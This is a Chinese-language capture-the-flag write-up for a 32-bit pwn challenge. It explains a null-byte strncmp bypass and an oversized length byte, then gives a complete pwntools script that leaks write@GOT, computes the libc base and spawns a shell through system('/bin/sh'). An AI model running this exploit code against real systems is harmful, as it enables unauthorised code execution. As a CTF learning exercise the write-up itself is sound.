先checksec

然后ida,为了自己看起来清晰改了下函数名。

第一个是计时函数,超过时间就会退出程序。第二个函数如图

这里我们要做的是在read buf的时候,第一个字符为\0,这样后面的strncmp的v1就是0,就能成功return buf[7],在第三个函数中,就可以read的字符数为buf[7],buf的大小是231,要令他栈溢出,就要让buf[7]的值大于231,那么如何才能让一个char值大于231……困扰了我一下,还是看别人的wp,然后才发现原来可以直接输入‘\255’[手动狗头],又学到了许多。
然后是找system和binsh,毫无意外的并没有,并且题目附件还给了libc文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import *
context.os='linux' context.arch='i386' context.log_level='debug'
sl=lambda x:io.sendline(x) rl=lambda :io.recvline()
io=process('./pnn') elf=ELF('./pnn') libc=ELF('./libc-2.23.so')
main=0x8048825
payload='\0'*7+'\255' sl(payload)# rl()#
payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4) sl(payload)
write_got=u32(io.recv(4)) libc_base=write_got-libc.sym['write'] payload='\0'*7+'\255' sl(payload)# rl()#
payload='a'*(0xe7+4)+p32(libc_base+libc.sym['system'])+p32(0)+p32(libc_base+libc.search('/bin/sh\0').next()) sl(payload) gdb.attach(io) io.interactive()
|
libc.search(‘/bin/sh\0’).next()中的next()是因为search会出来不止一个,我们只需要第一个,所以用next()